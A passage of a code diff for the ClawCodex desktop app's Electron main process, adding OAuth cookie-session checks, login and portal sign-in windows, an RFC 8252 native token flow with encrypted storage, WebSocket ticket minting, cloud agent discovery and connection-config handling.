+      const cookies = await sess.cookies.get({ url: baseUrl })
+
+      return cookiesHaveLiveSession(cookies)
+    } catch {
+      try {
+        const cookies = await sess.cookies.get({ domain: parsed.hostname })
+
+        return cookiesHaveLiveSession(cookies)
+      } catch {
+        return false
+      }
+    }
+  }
+
+  // First read against the (possibly still-hydrating) jar.
+  if (await readLive()) {
+    return true
+  }
+
+  // Cold-start false-negative guard. A `persist:` partition's cookie store
+  // loads lazily, so the FIRST read on a fresh boot can come back empty even
+  // for a signed-in user — the exact race that produced the transient "ClawCodex
+  // couldn't start / not signed in" overlay that Retry always cleared. Before
+  // trusting a negative, force the store to hydrate and re-read a couple of
+  // times with a short backoff. A genuinely signed-out user still resolves
+  // false quickly (≤ ~180ms); a signed-in user racing the load now wins.
+  await warmOauthCookieStore()
+
+  for (const delayMs of [30, 60, 90]) {
+    if (await readLive()) {
+      return true
+    }
+
+    await new Promise(resolve => setTimeout(resolve, delayMs))
+  }
+
+  return readLive()
+}
+
+async function clearOauthSession(baseUrl) {
+  const sess = getOauthSession()
+
+  if (!sess) {
+    return
+  }
+
+  try {
+    const cookies = await sess.cookies.get(baseUrl ? { url: baseUrl } : {})
+    await Promise.all(
+      cookies.map(c => {
+        const scheme = c.secure ? 'https' : 'http'
+        const cookieUrl = `${scheme}://${c.domain.replace(/^\./, '')}${c.path || '/'}`
+
+        return sess.cookies.remove(cookieUrl, c.name).catch(() => undefined)
+      })
+    )
+  } catch {
+    // Best effort — a stale cookie self-expires anyway.
+  }
+}
+
+// Open a gateway login window in the OAuth session partition, resolving once
+// the access-token cookie appears (login done) or rejecting if the user closes
+// the window first. The window navigates through the IDP and back to
+// /auth/callback, which sets the session cookies on the partition; we poll the
+// cookie jar rather than try to read the HttpOnly value.
+//
+// `silent` selects the URL the window loads, which decides interactive-vs-silent:
+//   - silent=false (default): load ``/login`` — the public interstitial that
+//     renders the "Log in with X" provider chooser. This is the interactive
+//     remote-gateway login the settings UI drives.
+//   - silent=true: load the PROTECTED root ``/`` instead. ``/login`` is a public
+//     route, so loading it NEVER triggers the gate's auto-SSO and always shows
+//     the chooser. Loading a protected page with no session cookie makes the
+//     gate run ``_auto_sso_response``: single registered provider + a live
+//     portal session in this partition → a silent 302 through
+//     ``/auth/login`` → portal ``/oauth/authorize`` (auto-approves org members)
+//     → ``/auth/callback``, which sets the gateway cookie with NO interactive
+//     prompt. This is the per-agent cloud cascade (decisions.md Q5).
+function openOauthLoginWindow(baseUrl, { silent = false } = {}) {
+  return new Promise((resolve, reject) => {
+    if (!app.isReady()) {
+      reject(new Error('Desktop is not ready to start an OAuth login.'))
+
+      return
+    }
+
+    const sess = getOauthSession()
+
+    if (!sess) {
+      reject(new Error('OAuth session partition is unavailable.'))
+
+      return
+    }
+
+    let settled = false
+    let win = null
+    let pollTimer = null
+    let revealTimer = null
+
+    const finish = err => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+
+      if (pollTimer) {
+        clearInterval(pollTimer)
+      }
+
+      if (revealTimer) {
+        clearTimeout(revealTimer)
+      }
+
+      try {
+        if (win && !win.isDestroyed()) {
+          win.destroy()
+        }
+      } catch {
+        // window already torn down
+      }
+
+      if (err) {
+        reject(err)
+      } else {
+        resolve({ baseUrl, ok: true })
+      }
+    }
+
+    const checkCookie = async () => {
+      if (settled) {
+        return
+      }
+
+      if (await hasOauthSessionCookie(baseUrl)) {
+        finish(null)
+      }
+    }
+
+    try {
+      win = new BrowserWindow({
+        width: 520,
+        height: 720,
+        title: silent ? 'Connecting to ClawCodex Cloud agent…' : 'Sign in to ClawCodex gateway',
+        autoHideMenuBar: true,
+        // Silent cascade: start HIDDEN. The auto-SSO 302 chain completes in
+        // well under a second, so the window normally never needs to show. We
+        // only reveal it as a fallback if the cascade DOESN'T complete quickly
+        // (e.g. the portal session lapsed and the gate fell through to the
+        // interactive chooser) — see the reveal timer below.
+        show: !silent,
+        webPreferences: {
+          contextIsolation: true,
+          nodeIntegration: false,
+          sandbox: true,
+          session: sess,
+          webSecurity: true
+        }
+      })
+    } catch (error) {
+      finish(error instanceof Error ? error : new Error(String(error)))
+
+      return
+    }
+
+    // Re-check the cookie jar on every successful navigation (the callback
+    // redirect is the moment cookies get set) plus a low-frequency poll as a
+    // belt-and-braces fallback for IDPs that finish via in-page JS.
+    win.webContents.on('did-navigate', () => void checkCookie())
+    win.webContents.on('did-redirect-navigation', () => void checkCookie())
+    win.webContents.on('did-frame-navigate', () => void checkCookie())
+    pollTimer = setInterval(() => void checkCookie(), 750)
+
+    // Silent-mode reveal fallback: if the cascade hasn't settled shortly, the
+    // auto-SSO didn't go through silently (no portal session, multi-provider,
+    // loop-guard tripped, etc.) and the window is now showing an interactive
+    // page. Reveal it so the user can complete sign-in manually rather than
+    // staring at nothing. Cleared on finish().
+    if (silent && win) {
+      revealTimer = setTimeout(() => {
+        try {
+          if (!settled && win && !win.isDestroyed() && !win.isVisible()) {
+            win.show()
+          }
+        } catch {
+          // window torn down
+        }
+      }, 2500)
+    }
+
+    win.on('closed', () => {
+      if (!settled) {
+        finish(new Error('Login window closed before authentication completed.'))
+      }
+    })
+
+    // ``next`` is intentionally omitted: the gateway lands on ``/`` after
+    // login, which is a valid authenticated page that sets the cookies. We
+    // only care that the cookie jar is populated.
+    //
+    // silent=true loads the protected root so the gate auto-SSOs (no chooser);
+    // silent=false loads the public ``/login`` chooser for interactive sign-in.
+    const normalizedBase = normalizeRemoteBaseUrl(baseUrl)
+    const loginUrl = silent ? `${normalizedBase}/` : `${normalizedBase}/login`
+    win.loadURL(loginUrl).catch(error => {
+      finish(error instanceof Error ? error : new Error(String(error)))
+    })
+  })
+}
+
+// JSON request routed through the OAuth session partition so the HttpOnly
+// session cookie is attached automatically by Electron's net stack. Used for
+// authed REST against a gated gateway, including minting WS tickets.
+function fetchJsonViaOauthSession(url, options: any = {}) {
+  return new Promise((resolve, reject) => {
+    const sess = getOauthSession()
+
+    if (!sess) {
+      reject(new Error('OAuth session partition is unavailable.'))
+
+      return
+    }
+
+    let parsed
+
+    try {
+      parsed = new URL(url)
+    } catch (error) {
+      reject(new Error(`Invalid URL: ${error.message}`))
+
+      return
+    }
+
+    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
+      reject(new Error(`Unsupported ClawCodex backend URL protocol: ${parsed.protocol}`))
+
+      return
+    }
+
+    const body = serializeJsonBody(options.body)
+    const timeoutMs = resolveTimeoutMs(options.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)
+
+    const request = electronNet.request({
+      method: options.method || 'GET',
+      url,
+      session: sess,
+      useSessionCookies: true,
+      redirect: 'follow'
+    } as any)
+
+    setJsonRequestHeaders(request)
+
+    let timedOut = false
+
+    const timer = setTimeout(() => {
+      timedOut = true
+
+      try {
+        request.abort()
+      } catch {
+        // already finished
+      }
+
+      reject(new Error(`Timed out connecting to ClawCodex backend after ${timeoutMs}ms`))
+    }, timeoutMs)
+
+    request.on('response', res => {
+      const chunks = []
+      res.on('data', chunk => chunks.push(Buffer.from(chunk)))
+      res.on('end', () => {
+        if (timedOut) {
+          return
+        }
+
+        clearTimeout(timer)
+        const text = Buffer.concat(chunks).toString('utf8')
+        const statusCode = res.statusCode || 500
+
+        if (statusCode >= 400) {
+          const err = new Error(`${statusCode}: ${text || ''}`) as any
+          err.statusCode = statusCode
+          reject(err)
+
+          return
+        }
+
+        if (!text) {
+          resolve(null)
+
+          return
+        }
+
+        const looksHtml = /^\s*<(?:!doctype|html)/i.test(text)
+        const contentType = String(res.headers['content-type'] || res.headers['Content-Type'] || '')
+
+        if (looksHtml || contentType.includes('text/html')) {
+          reject(new Error(`Expected JSON from ${url} but got HTML (status ${statusCode}).`))
+
+          return
+        }
+
+        try {
+          resolve(JSON.parse(text))
+        } catch {
+          reject(new Error(`Invalid JSON from ${url} (status ${statusCode}): ${text.slice(0, 200)}`))
+        }
+      })
+    })
+    request.on('error', error => {
+      if (timedOut) {
+        return
+      }
+
+      clearTimeout(timer)
+      reject(error)
+    })
+
+    if (body) {
+      request.write(body)
+    }
+
+    request.end()
+  })
+}
+
+// ---------------------------------------------------------------------------
+// RFC 8252 native-app tokens (system-browser + loopback + PKCE).
+//
+// Unlike the cookie flow, the native flow hands the desktop opaque bearer
+// tokens it holds itself: the access token authenticates REST via
+// ``Authorization: Bearer`` (which the gateway gate now accepts) and mints WS
+// tickets the same way, so NO browser session cookie or embedded webview is
+// involved. Tokens are persisted encrypted at rest via Electron ``safeStorage``
+// (OS keychain) keyed by gateway base URL, and refreshed via
+// ``/auth/native/refresh`` before expiry. This is the desktop half of the
+// feature; the server half lives in clawcodex_cli/dashboard_auth/native_flow.py.
+// ---------------------------------------------------------------------------
+
+// In-memory cache of decrypted native tokens, keyed by normalized base URL.
+// Backed by the encrypted on-disk store so it survives restarts.
+const _nativeTokens = new Map<string, NativeTokenSet>()
+
+function _nativeTokenStorePath() {
+  // Co-located with the connection config under userData; one JSON file mapping
+  // baseUrl → { encoding, value } safeStorage payloads.
+  return path.join(app.getPath('userData'), 'native-oauth-tokens.json')
+}
+
+// The electron-coupled half of the token store: safeStorage encryption plus the
+// userData file. native-token-store.ts owns the serialization/parse round trip
+// so it can be tested without an Electron runtime.
+function _nativeTokenStoreIo(): NativeTokenStoreIo {
+  return {
+    encrypt: encryptDesktopSecret,
+    decrypt: decryptDesktopSecret,
+    readStoreText: () => fs.readFileSync(_nativeTokenStorePath(), 'utf8'),
+    writeStoreText: (text: string) => {
+      fs.mkdirSync(path.dirname(_nativeTokenStorePath()), { recursive: true })
+      fs.writeFileSync(_nativeTokenStorePath(), text, { mode: 0o600 })
+    },
+    rememberLog
+  }
+}
+
+function _persistNativeTokens(baseUrl: string, tokens: NativeTokenSet | null) {
+  persistNativeTokenSet(baseUrl, tokens, _nativeTokenStoreIo())
+}
+
+function _loadNativeTokens(baseUrl: string): NativeTokenSet | null {
+  const cached = _nativeTokens.get(baseUrl)
+
+  if (cached) {
+    return cached
+  }
+
+  const tokens = loadNativeTokenSet(baseUrl, _nativeTokenStoreIo())
+
+  if (tokens) {
+    _nativeTokens.set(baseUrl, tokens)
+  }
+
+  return tokens
+}
+
+function _storeNativeTokens(baseUrl: string, tokens: NativeTokenSet) {
+  _nativeTokens.set(baseUrl, tokens)
+  _persistNativeTokens(baseUrl, tokens)
+}
+
+function _clearNativeTokens(baseUrl: string) {
+  _nativeTokens.delete(baseUrl)
+  _persistNativeTokens(baseUrl, null)
+}
+
+// True when we hold native bearer tokens for this gateway (the native-flow
+// analogue of hasLiveOauthSession's cookie check).
+function hasNativeSession(baseUrl: string): boolean {
+  return _loadNativeTokens(baseUrl) !== null
+}
+
+// POST JSON WITHOUT the OAuth cookie partition — used for the native token +
+// refresh exchanges, which are cookieless by design. Thin wrapper over
+// fetchJson (no token) so it shares timeout/JSON handling.
+function postJsonNoAuth(url: string, body: unknown, opts: any = {}) {
+  // resolveJsonBody passes the object through UNCHANGED — fetchJson owns
+  // JSON.stringify. Pre-stringifying here double-encodes the body (a JSON
+  // string inside a JSON string), which the gateway's Pydantic model rejects
+  // with a 422 "Input should be a valid dictionary" (the native
+  // /auth/native/token + /auth/native/refresh legs both go through here).
+  return fetchJson(url, null, { method: 'POST', body: resolveJsonBody(body), ...opts })
+}
+
+// Return a valid native access token for baseUrl, refreshing via
+// /auth/native/refresh if the stored one is at/near expiry. Returns null when
+// there are no tokens or the refresh is terminally rejected (caller re-logins).
+async function ensureNativeAccessToken(baseUrl: string): Promise<string | null> {
+  const tokens = _loadNativeTokens(baseUrl)
+
+  if (!tokens) {
+    return null
+  }
+
+  if (!tokenNeedsRefresh(tokens, Math.floor(Date.now() / 1000))) {
+    return tokens.accessToken
+  }
+
+  if (!tokens.refreshToken) {
+    // Access token expired and no RT to rotate — force re-login.
+    _clearNativeTokens(baseUrl)
+
+    return null
+  }
+
+  try {
+    const body = await postJsonNoAuth(
+      nativeRefreshUrl(baseUrl),
+      { refresh_token: tokens.refreshToken, provider: tokens.provider },
+      { timeoutMs: 10_000 }
+    )
+
+    const rotated = parseTokenResponse(body)
+    _storeNativeTokens(baseUrl, rotated)
+
+    return rotated.accessToken
+  } catch (error: any) {
+    // A 401 means the RT is dead (session_expired) — drop tokens so the UI
+    // prompts a fresh native login. A 503/transient keeps them for a retry.
+    if (error && error.statusCode === 401) {
+      _clearNativeTokens(baseUrl)
+
+      return null
+    }
+
+    throw error
+  }
+}
+
+// Mint a single-use WS ticket for a gated gateway. Returns the ticket string.
+// Prefers a native bearer token (cookieless RFC 8252 flow) when present,
+// falling back to the OAuth cookie partition otherwise.
+// Throws (with statusCode 401) if the session cookie is missing/expired —
+// callers treat that as "needs re-login".
+async function mintGatewayWsTicket(baseUrl) {
+  // Native flow: mint the ticket with the bearer token, no cookie involved.
+  const nativeAt = await ensureNativeAccessToken(baseUrl).catch(() => null)
+
+  if (nativeAt) {
+    const body = (await fetchJson(`${baseUrl}/api/auth/ws-ticket`, null, {
+      method: 'POST',
+      timeoutMs: 8_000,
+      bearer: nativeAt
+    })) as any
+
+    const ticket = body?.ticket
+
+    if (!ticket || typeof ticket !== 'string') {
+      throw new Error('Gateway did not return a WS ticket.')
+    }
+
+    return ticket
+  }
+
+  const body = (await fetchJsonViaOauthSession(`${baseUrl}/api/auth/ws-ticket`, {
+    method: 'POST',
+    timeoutMs: 8_000
+  })) as any
+
+  const ticket = body?.ticket
+
+  if (!ticket || typeof ticket !== 'string') {
+    throw new Error('Gateway did not return a WS ticket.')
+  }
+
+  return ticket
+}
+
+// Build a fresh WS URL for the *current* connection. Critical for reconnects:
+// OAuth WS tickets are single-use with a ~30s TTL, so the ticket baked into
+// the cached connection's wsUrl is stale on the second connect. The renderer
+// calls this immediately before every gateway.connect() so each WS upgrade
+// carries a freshly-minted ticket. For local/token connections this just
+// reuses the static token (no minting needed).
+async function freshGatewayWsUrl(profile) {
+  // Mint for the requested profile's backend, NOT always the primary. The
+  // renderer re-mints right before every gateway.connect(); when swapping to a
+  // pooled profile we must return THAT backend's ws URL, otherwise the connect
+  // silently lands back on the primary (default) backend and writes sessions to
+  // the wrong profile's DB. A null/empty profile resolves to the primary, so
+  // legacy callers and single-profile users are unchanged.
+  const connection = await ensureBackend(profile)
+
+  if (connection.authMode === 'oauth') {
+    const ticket = await mintGatewayWsTicket(connection.baseUrl)
+
+    return buildGatewayWsUrlWithTicket(connection.baseUrl, ticket)
+  }
+
+  // Local/token: the cached wsUrl already carries the (long-lived) token.
+  return connection.wsUrl
+}
+
+// --- ClawCodex Cloud discovery + silent per-agent sign-in (cloud-auto-discovery
+// Phase 3) ---------------------------------------------------------------
+//
+// The "cloud" connection mode lets a user sign in to the Nous portal ONCE in
+// the OAuth session partition, then (a) discover their hosted agents and (b)
+// connect to any of them with no second interactive sign-in. Both ride the one
+// portal session cookie living in `persist:clawcodex-remote-oauth`:
+//   - discovery  → GET {portal}/api/agents over the partition-bound net; the
+//     portal session cookie authenticates it (NAS Phase 2.5 accepts the cookie).
+//   - cascade    → opening an agent's own /login in the same partition hits the
+//     portal's silent auto-approve (org member, existing session) and 302s back
+//     with that agent's session cookie — no prompt. Each agent still completes
+//     its own PKCE exchange; SSO removes the human click, not a security check.
+
+// Canonical Nous portal base URL, overridable for staging/dev. Mirrors the CLI
+// convention (clawcodex_cli/auth.py DEFAULT_NOUS_PORTAL_URL + the same env names)
+// so a single override flips every ClawCodex surface to the same portal.
+const DEFAULT_NOUS_PORTAL_URL = 'https://portal.invalid'
+
+function resolvePortalBaseUrl() {
+  const raw = process.env.CLAWCODEX_PORTAL_BASE_URL || process.env.NOUS_PORTAL_BASE_URL || DEFAULT_NOUS_PORTAL_URL
+
+  return String(raw).trim().replace(/\/+$/, '')
+}
+
+// Whether the OAuth partition currently holds a live Nous portal session — the
+// credential that powers both discovery and the silent cascade. The portal
+// authenticates via PRIVY, not the ClawCodex gateway session cookies, so this
+// checks for the `privy-token` cookie on the portal host (NOT
+// hasLiveOauthSession, which looks for clawcodex_session_at/rt that the portal
+// never sets). See connection-config.ts cookiesHavePrivySession.
+async function hasLivePortalSession() {
+  const sess = getOauthSession()
+
+  if (!sess) {
+    return false
+  }
+
+  const portalBaseUrl = resolvePortalBaseUrl()
+  const parsed = new URL(portalBaseUrl)
+
+  try {
+    const cookies = await sess.cookies.get({ url: portalBaseUrl })
+
+    return cookiesHavePrivySession(cookies)
+  } catch {
+    try {
+      const cookies = await sess.cookies.get({ domain: parsed.hostname })
+
+      return cookiesHavePrivySession(cookies)
+    } catch {
+      return false
+    }
+  }
+}
+
+// Drive a one-time interactive portal sign-in in the OAuth partition. Unlike
+// openOauthLoginWindow (which targets a gateway's /login), this lands on the
+// portal itself so the resulting session cookie is portal-scoped — the cookie
+// that authenticates discovery AND is reused for every silent per-agent
+// cascade. Resolves once the portal session cookie appears.
+function openPortalLoginWindow() {
+  const portalBaseUrl = resolvePortalBaseUrl()
+
+  return new Promise((resolve, reject) => {
+    if (!app.isReady()) {
+      reject(new Error('Desktop is not ready to start a ClawCodex Cloud sign-in.'))
+
+      return
+    }
+
+    const sess = getOauthSession()
+
+    if (!sess) {
+      reject(new Error('OAuth session partition is unavailable.'))
+
+      return
+    }
+
+    let settled = false
+    let win = null
+    let pollTimer = null
+
+    const finish = err => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+
+      if (pollTimer) {
+        clearInterval(pollTimer)
+      }
+
+      try {
+        if (win && !win.isDestroyed()) {
+          win.destroy()
+        }
+      } catch {
+        // window already torn down
+      }
+
+      if (err) {
+        reject(err)
+      } else {
+        resolve({ portalBaseUrl, ok: true })
+      }
+    }
+
+    const checkCookie = async () => {
+      if (settled) {
+        return
+      }
+
+      // A live portal (Privy) session cookie means sign-in completed.
+      if (await hasLivePortalSession()) {
+        finish(null)
+      }
+    }
+
+    try {
+      win = new BrowserWindow({
+        width: 520,
+        height: 720,
+        title: 'Sign in to ClawCodex Cloud',
+        autoHideMenuBar: true,
+        webPreferences: {
+          contextIsolation: true,
+          nodeIntegration: false,
+          sandbox: true,
+          session: sess,
+          webSecurity: true
+        }
+      })
+    } catch (error) {
+      finish(error instanceof Error ? error : new Error(String(error)))
+
+      return
+    }
+
+    win.webContents.on('did-navigate', () => void checkCookie())
+    win.webContents.on('did-redirect-navigation', () => void checkCookie())
+    win.webContents.on('did-frame-navigate', () => void checkCookie())
+    pollTimer = setInterval(() => void checkCookie(), 750)
+
+    win.on('closed', () => {
+      if (!settled) {
+        finish(new Error('Sign-in window closed before authentication completed.'))
+      }
+    })
+
+    // Land on the portal root; any authenticated portal page sets the session
+    // cookie. We only care that the partition cookie jar is populated.
+    win.loadURL(portalBaseUrl).catch(error => {
+      finish(error instanceof Error ? error : new Error(String(error)))
+    })
+  })
+}
+
+// Discover the hosted (ClawCodex Cloud) agents the signed-in user can see. Calls
+// the NAS trimmed-summary endpoint over the partition-bound net, so the portal
+// session cookie is attached automatically (no bearer needed — NAS accepts the
+// cookie). Returns { agents } on success, or { needsOrgSelection: true, orgs }
+// when the user belongs to multiple orgs and hasn't picked one yet (NAS 409
+// org_selection_required). Pass `org` (a slug/id from a prior org list) to
+// scope discovery to that org. Throws a needsCloudLogin-tagged error when no
+// portal session is present.
+async function discoverCloudAgents(org?: string) {
+  const portalBaseUrl = resolvePortalBaseUrl()
+
+  if (!(await hasLivePortalSession())) {
+    const err = new Error(
+      'You are not signed in to ClawCodex Cloud. Open Settings → Gateway, choose ClawCodex Cloud, and sign in.'
+    ) as any
+
+    err.needsCloudLogin = true
+    throw err
+  }
+
+  const orgQuery = org ? `?org=${encodeURIComponent(org)}` : ''
+  let body
+
+  try {
+    body = (await fetchJsonViaOauthSession(`${portalBaseUrl}/api/agents${orgQuery}`, {
+      method: 'GET',
+      timeoutMs: 15_000
+    })) as any
+  } catch (error) {
+    // A 401 means the portal session lapsed between the liveness check and the
+    // call — surface it as a re-login, not a generic failure.
+    if (error && error.statusCode === 401) {
+      const err = new Error('Your ClawCodex Cloud session has expired. Open Settings → Gateway and sign in again.') as any
+      err.needsCloudLogin = true
+      err.cause = error
+      throw err
+    }
+
+    // A 409 means we're a multi-org user who hasn't picked an org. The body
+    // carries the user's org list; surface it so the renderer shows a picker
+    // and re-calls discovery with the chosen org. (fetchJsonViaOauthSession
+    // throws on >=400 with err.statusCode + err.message "409: <json body>".)
+    if (error && error.statusCode === 409) {
+      const orgs = parseOrgSelectionError(error)
+
+      if (orgs) {
+        return { needsOrgSelection: true, orgs }
+      }
+    }
+
+    throw error
+  }
+
+  return { agents: trimCloudAgents(body), org: trimCloudOrg(body?.org) }
+}
+
+// Project a NAS response org ({ id, slug, name, isPersonal }) to the trimmed
+// shape the renderer persists, or null when absent/malformed.
+function trimCloudOrg(org) {
+  if (!org || typeof org !== 'object' || typeof org.id !== 'string') {
+    return null
+  }
+
+  return {
+    id: org.id,
+    slug: typeof org.slug === 'string' ? org.slug : null,
+    name: typeof org.name === 'string' ? org.name : org.id,
+    isPersonal: Boolean(org.isPersonal),
+    role: typeof org.role === 'string' ? org.role : 'MEMBER'
+  }
+}
+
+// Extract the org list from a 409 org_selection_required error body. The error
+// message is "409: <raw json>" (see fetchJsonViaOauthSession); parse defensively
+// and return null if it isn't the shape we expect (caller then rethrows).
+function parseOrgSelectionError(error) {
+  const msg = String(error?.message || '')
+  const jsonStart = msg.indexOf('{')
+
+  if (jsonStart < 0) {
+    return null
+  }
+
+  let parsed
+
+  try {
+    parsed = JSON.parse(msg.slice(jsonStart))
+  } catch {
+    return null
+  }
+
+  if (parsed?.error !== 'org_selection_required' || !Array.isArray(parsed.orgs)) {
+    return null
+  }
+
+  return parsed.orgs
+    .filter(o => o && typeof o === 'object' && typeof o.id === 'string')
+    .map(o => ({
+      id: o.id,
+      slug: typeof o.slug === 'string' ? o.slug : null,
+      name: typeof o.name === 'string' ? o.name : o.id,
+      isPersonal: Boolean(o.isPersonal),
+      role: typeof o.role === 'string' ? o.role : 'MEMBER'
+    }))
+}
+
+// Project NAS's agent rows to the trimmed DTO the renderer consumes.
+function trimCloudAgents(body) {
+  const agents = Array.isArray(body?.agents) ? body.agents : []
+
+  return agents
+    .filter(a => a && typeof a === 'object' && typeof a.id === 'string')
+    .map(a => ({
+      id: a.id,
+      name: typeof a.name === 'string' ? a.name : a.id,
+      status: typeof a.status === 'string' ? a.status : 'unknown',
+      dashboardUrl: typeof a.dashboardUrl === 'string' ? a.dashboardUrl : null,
+      dashboardGatewayState: typeof a.dashboardGatewayState === 'string' ? a.dashboardGatewayState : 'unknown'
+    }))
+}
+
+// Silent per-agent sign-in: open the selected agent dashboard's /login in the
+// SAME OAuth partition. Because the user already holds a live portal session
+// there, the agent's /oauth/authorize auto-approves (org member) and 302s back,
+// setting that agent's gateway session cookie WITHOUT a second interactive
+// prompt. Reuses openOauthLoginWindow — the window self-closes the instant the
+// agent's session cookie lands (a silent flow finishes in well under a second;
+// if the portal session were absent it would fall through to an interactive
+// login, which the discovery gate already prevents). Returns once the agent's
+// gateway session cookie is present.
+async function cloudAgentSilentSignIn(dashboardUrl) {
+  const baseUrl = normalizeRemoteBaseUrl(dashboardUrl)
+
+  // Pre-req: a live portal session must exist, or this would surface an
+  // interactive prompt rather than a silent cascade. Discovery already gates on
+  // this, but a selection can arrive after the session lapsed.
+  if (!(await hasLivePortalSession())) {
+    const err = new Error('Your ClawCodex Cloud session has expired. Sign in to ClawCodex Cloud again.') as any
+    err.needsCloudLogin = true
+    throw err
+  }
+
+  await openOauthLoginWindow(baseUrl, { silent: true })
+
+  return { baseUrl, connected: await hasOauthSessionCookie(baseUrl) }
+}
+
+function encryptDesktopSecret(value) {
+  return encryptDesktopSecretStrict(value, safeStorage)
+}
+
+function decryptDesktopSecret(secret) {
+  if (!secret || typeof secret !== 'object') {
+    return ''
+  }
+
+  const value = String(secret.value || '')
+
+  if (!value) {
+    return ''
+  }
+
+  if (secret.encoding === 'safeStorage') {
+    try {
+      return safeStorage.decryptString(Buffer.from(value, 'base64'))
+    } catch {
+      return ''
+    }
+  }
+
+  return value
+}
+
+// Validate + normalize the per-profile remote overrides map read from disk.
+// Drops malformed names/entries and keeps only the recognized fields so a
+// hand-edited or stale connection.json can't inject junk into resolution.
+function sanitizeConnectionProfiles(raw: Record<string, any>) {
+  if (!raw || typeof raw !== 'object') {
+    return {}
+  }
+
+  const out = {}
+
+  for (const [name, entry] of Object.entries(raw)) {
+    if (!entry || typeof entry !== 'object') {
+      continue
+    }
+
+    if (name !== 'default' && !PROFILE_NAME_RE.test(name)) {
+      continue
+    }
+
+    if (entry.mode === 'ssh') {
+      const ssh = normalizeSshConfig(entry)
+
+      if (ssh) {
+        if (entry.token && typeof entry.token === 'object') {
+          ssh.token = entry.token
+        }
+
+        out[name] = ssh
+      }
+
+      continue
+    }
+
+    const cleaned: {
+      mode: 'remote' | 'local' | 'cloud'
+      url?: string
+      authMode?: string
+      token?: object
+      org?: string
+      savedSsh?: object
+    } = {
+      mode: modeIsRemoteLike(entry.mode) ? entry.mode : 'local'
+    }
+
+    if (cleaned.mode === 'local') {
+      const savedSsh = normalizeSshConfig(entry.savedSsh)
+
+      if (savedSsh) {
+        cleaned.savedSsh = savedSsh
+      }
+    }
+
+    const url = String(entry.url || '').trim()
+
+    if (url) {
+      cleaned.url = url
+    }
+
+    cleaned.authMode = normAuthMode(entry.authMode)
+
+    if ((entry as any).token && typeof entry.token === 'object') {
+      cleaned.token = entry.token
+    }
+
+    // Preserve the ClawCodex Cloud org tag on cloud-mode entries so Settings can
+    // reopen into the same org for a per-profile cloud connection.
+    if (cleaned.mode === 'cloud') {
+      const org = String(entry.org || '').trim()
+
+      if (org) {
+        cleaned.org = org
+      }
+    }
+
+    out[name] = cleaned
+  }
+
+  return out
+}
+
+function readDesktopConnectionConfig() {
+  // Check if file changed on disk since last read (e.g. modified by another
+  // process or an external tool).  Our own writes update the cache inline
+  // via writeDesktopConnectionConfig, but external changes would be missed.
+  let mtime = null
+
+  try {
+    mtime = fs.statSync(DESKTOP_CONNECTION_CONFIG_PATH).mtimeMs
+  } catch {
+    mtime = null
+  }
+
+  if (connectionConfigCache && connectionConfigCacheMtime === mtime) {
+    return connectionConfigCache
+  }
+
+  let config = { mode: 'local', remote: {}, profiles: {} }
+
+  try {
+    const raw = fs.readFileSync(DESKTOP_CONNECTION_CONFIG_PATH, 'utf8')
+    const parsed = JSON.parse(raw)
+
+    if (parsed && typeof parsed === 'object') {
+      const remote = parsed.remote && typeof parsed.remote === 'object' ? parsed.remote : {}
+      // authMode lives on the remote sub-object: 'oauth' (cookie + ws-ticket)
+      // or 'token' (legacy static session token). Default to 'token' for
+      // backward compatibility with configs written before OAuth support.
+      remote.authMode = remote.authMode === 'oauth' ? 'oauth' : 'token'
+      config = {
+        mode: parsed.mode === 'ssh' ? 'ssh' : modeIsRemoteLike(parsed.mode) ? parsed.mode : 'local',
+        remote,
+        // Per-profile remote overrides: each profile may point at its own
+        // backend (local spawn or its own remote URL). Preserved verbatim so
+        // profileRemoteOverride() can resolve them; normalized lazily on save.
+        profiles: sanitizeConnectionProfiles(parsed.profiles)
+      }
+    }
+  } catch {
+    // Missing or malformed connection settings should fall back to local.
+  }
+
+  connectionConfigCache = config
+  connectionConfigCacheMtime = mtime
+
+  return config
+}
+
+function writeDesktopConnectionConfig(config) {
+  fs.mkdirSync(path.dirname(DESKTOP_CONNECTION_CONFIG_PATH), { recursive: true })
+  writeFileAtomic(DESKTOP_CONNECTION_CONFIG_PATH, JSON.stringify(config, null, 2))
+  connectionConfigCache = config
+  connectionConfigCacheMtime = fs.statSync(DESKTOP_CONNECTION_CONFIG_PATH).mtimeMs
+}
+
+// Returns the desktop's chosen profile name, or null when unset. "default" is
+// a valid stored value (pins the root CLAWCODEX_CONFIG_DIR explicitly); null means "no
+// preference" and preserves the legacy launch (no --profile flag).
+function readActiveDesktopProfile() {
+  try {
+    const raw = fs.readFileSync(DESKTOP_PROFILE_CONFIG_PATH, 'utf8')
+    const parsed = JSON.parse(raw)
+    const name = parsed && typeof parsed.profile === 'string' ? parsed.profile.trim() : ''
+
+    if (name && (name === 'default' || PROFILE_NAME_RE.test(name))) {
+      return name
+    }
+  } catch {
+    // Missing or malformed → no preference.
+  }
+
+  return null
+}
+
+function writeActiveDesktopProfile(name) {
+  const value = typeof name === 'string' ? name.trim() : ''
+
+  if (value && value !== 'default' && !PROFILE_NAME_RE.test(value)) {
+    throw new Error(`Invalid profile name: ${value}`)
+  }
+
+  fs.mkdirSync(path.dirname(DESKTOP_PROFILE_CONFIG_PATH), { recursive: true })
+  writeFileAtomic(DESKTOP_PROFILE_CONFIG_PATH, JSON.stringify({ profile: value || null }, null, 2))
+
+  return value || null
+}
+
+// Sanitize a connection config into the renderer-facing shape. With no
+// `profile` this describes the global/default connection (the existing
+// behavior); with a `profile` it describes that profile's per-profile remote
+// override (or an empty "local/inherit" view when the profile has none).
+async function sanitizeDesktopConnectionConfig(config = readDesktopConnectionConfig(), profile = null) {
+  const key = connectionScopeKey(profile)
+  const scoped = key ? config.profiles?.[key] || null : null
+  const block = key ? scoped || {} : config.remote || {}
+
+  const envOverride = key ? false : Boolean(process.env.CLAWCODEX_DESKTOP_REMOTE_URL)
+  const savedMode = key ? scoped?.mode : config.mode
+  const ssh = savedMode === 'ssh' ? normalizeSshConfig(block) : null
+
+  const savedSsh = savedMode === 'local' ? (key ? savedProfileSsh(config, key) : normalizeSshConfig(block)) : null
+
+  const remoteToken = decryptDesktopSecret(block.token)
+  const authMode = normAuthMode(block.authMode)
+  const remoteUrl = envOverride ? String(process.env.CLAWCODEX_DESKTOP_REMOTE_URL || '') : String(block.url || '')
